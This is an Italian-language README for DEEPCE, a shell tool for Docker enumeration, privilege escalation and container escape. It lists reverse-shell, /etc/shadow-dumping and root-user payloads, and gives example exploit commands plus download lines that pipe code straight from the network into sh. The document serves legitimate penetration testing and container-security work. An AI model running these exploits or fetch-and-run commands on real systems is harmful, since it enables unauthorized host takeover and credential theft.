deepce

                      ##         .
                ## ## ##        ==
             ## ## ## ##       ===
         /"""""""""""""""""\___/ ===
    ~~~ {~~ ~~~~ ~~~ ~~~~ ~~~ ~ /  ===- ~~~
         \______ X           __/
           \    \         __/
            \____\_______/
          __                        
     ____/ /__  ___  ____  ________ 
    / __  / _ \/ _ \/ __ \/ ___/ _ \   ENUMERATE
   / /_/ /  __/  __/ /_/ / (__/  __/  ESCALATE
   \__,_/\___/\___/ .___/\___/\___/  ESCAPE
                 /_/

Sito web

Enumerazione Docker, Escalation dei privilegi e fughe dai container (DEEPCE)

Per essere compatibile con il numero massimo di container, DEEPCE è scritto in puro sh e non ha dipendenze. Utilizzerà strumenti aggiuntivi come curl, nmap, nslookup e dig se disponibili, ma per la maggior parte non dipende da essi per l'enumerazione.

Nessuna delle enumerazioni dovrebbe toccare il disco, tuttavia la maggior parte degli exploit crea nuovi container, il che comporterà scritture su disco, e alcuni exploit sovrascriveranno runC, il che può essere distruttivo, quindi fai attenzione!

Di seguito è riportato l'elenco delle enumerazioni, degli exploit e dei payload che DEEPCE può utilizzare. Se hai altre idee, apri una issue su GitHub!

Download

DEEPCE può essere scaricato su un host o un container utilizzando uno dei seguenti one-liner. Consiglio: scaricalo in /dev/shm per evitare di toccare il disco.

wget https://github.com/stealthcopter/deepce/raw/main/deepce.sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh -o deepce.sh
# Or using python requests
python -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content)' > deepce.sh 
python3 -c 'import requests;print(requests.get("https://github.com/stealthcopter/deepce/raw/main/deepce.sh").content.decode("utf-8"))' > deepce.sh  

Supporto

Se ami quello che sto facendo con Deepce e i miei altri progetti, ora puoi supportare direttamente il mio lavoro! Offrendomi un caffè ☕, non stai solo alimentando il mio bisogno di caffeina – mi stai aiutando a dedicare più tempo allo sviluppo e al miglioramento di questi progetti open source. Ogni caffè conta e porta più innovazione nel mondo della cybersecurity. Grazie per il tuo supporto: significa moltissimo per me e per la comunità open source!

Screenshot

Per altri screenshot, consulta la cartella docs

Enumerazioni

La seguente è la lista delle enumerazioni eseguite da DEEPCE.

• ID e nome del container (tramite DNS inverso)
• IP del container / server DNS
• Versione di Docker
• Mount interessanti
• Password in file comuni
• Variabili d'ambiente
• Hash di password
• File sensibili comuni memorizzati nei container
• Altri container sulla stessa rete
• Scansione delle porte di altri container e della macchina host stessa
• Trova docker sock esposto

Exploit

• Escalation dei privilegi del gruppo Docker
• Esecuzione di comandi sull'host in modalità privilegiata
• Docker Sock esposto

Payload

Per ciascuno degli exploit sopra indicati è possibile definire dei payload per sfruttare il sistema host. Questi includono:

• Shell TCP inversa
• Stampa di /etc/shadow
• Aggiunta di un nuovo utente root
• Esecuzione di comandi personalizzati
• Esecuzione di binari payload personalizzati

Esempi

# Make the script executable and then run it
chmod +x ./deepce.sh
./deepce.sh 

Exploit

I seguenti esempi mostrano i diversi tipi di exploit che possono essere eseguiti e i payload disponibili.

• Sfrutta un container privilegiato per creare un nuovo utente root sul sistema operativo host:

./deepce.sh --no-enumeration --exploit PRIVILEGED --username deepce --password deepce

• Sfrutta un file docker sock scrivibile per stampare il contenuto di /etc/shadow

./deepce.sh --no-enumeration --exploit SOCK --shadow

• Eleva i privilegi a root tramite l'appartenenza al gruppo docker su un host ed esegui un payload personalizzato

./deepce.sh --no-enumeration --exploit DOCKER --command "whoami>/tmp/hacked"

Uso Avanzato

È possibile scaricare ed eseguire deepce senza toccare il disco, ma non potrai impostare facilmente gli argomenti (la manipolazione diretta delle variabili è possibile usando export).

wget -O - https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh
curl -sL https://github.com/stealthcopter/deepce/raw/main/deepce.sh | sh

Ispirazione

Esistono alcuni ottimi script di enumerazione/escape dei container e strumenti di enumerazione da cui ho tratto ispirazione scrivendo questo strumento. Tuttavia, ho sentito la necessità di scriverne uno puramente in sh per evitare di dover installare dipendenze go/ruby o dipendere da un binario statico. Volevo anche essere in grado di eseguire più enumerazioni per cercare di scoprire cosa sia il container Docker, dato che durante un test potremmo ritrovarci all'interno di un container sconosciuto. Il numero di cose che questo script può enumerare mi è sfuggito di mano: ogni volta che aggiungevo qualcosa di nuovo, pensavo ad altre cose aggiuntive da aggiungere.

• LinPEAS
• LinEnum
• BotB
• Harpoon

Risorse

Sviluppatori in cerca di suggerimenti sulla sicurezza Docker https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Docker_Security_Cheat_Sheet.md

Contribuire

Accetto volentieri pull request, issue e feedback.

• Fai un fork
• Crea il tuo branch per la funzionalità (git checkout -b my-new-feature)
• Committa le tue modifiche (git commit -am 'Added some feature')
• Esegui il push sul branch (git push origin my-new-feature)
• Crea una nuova Pull Request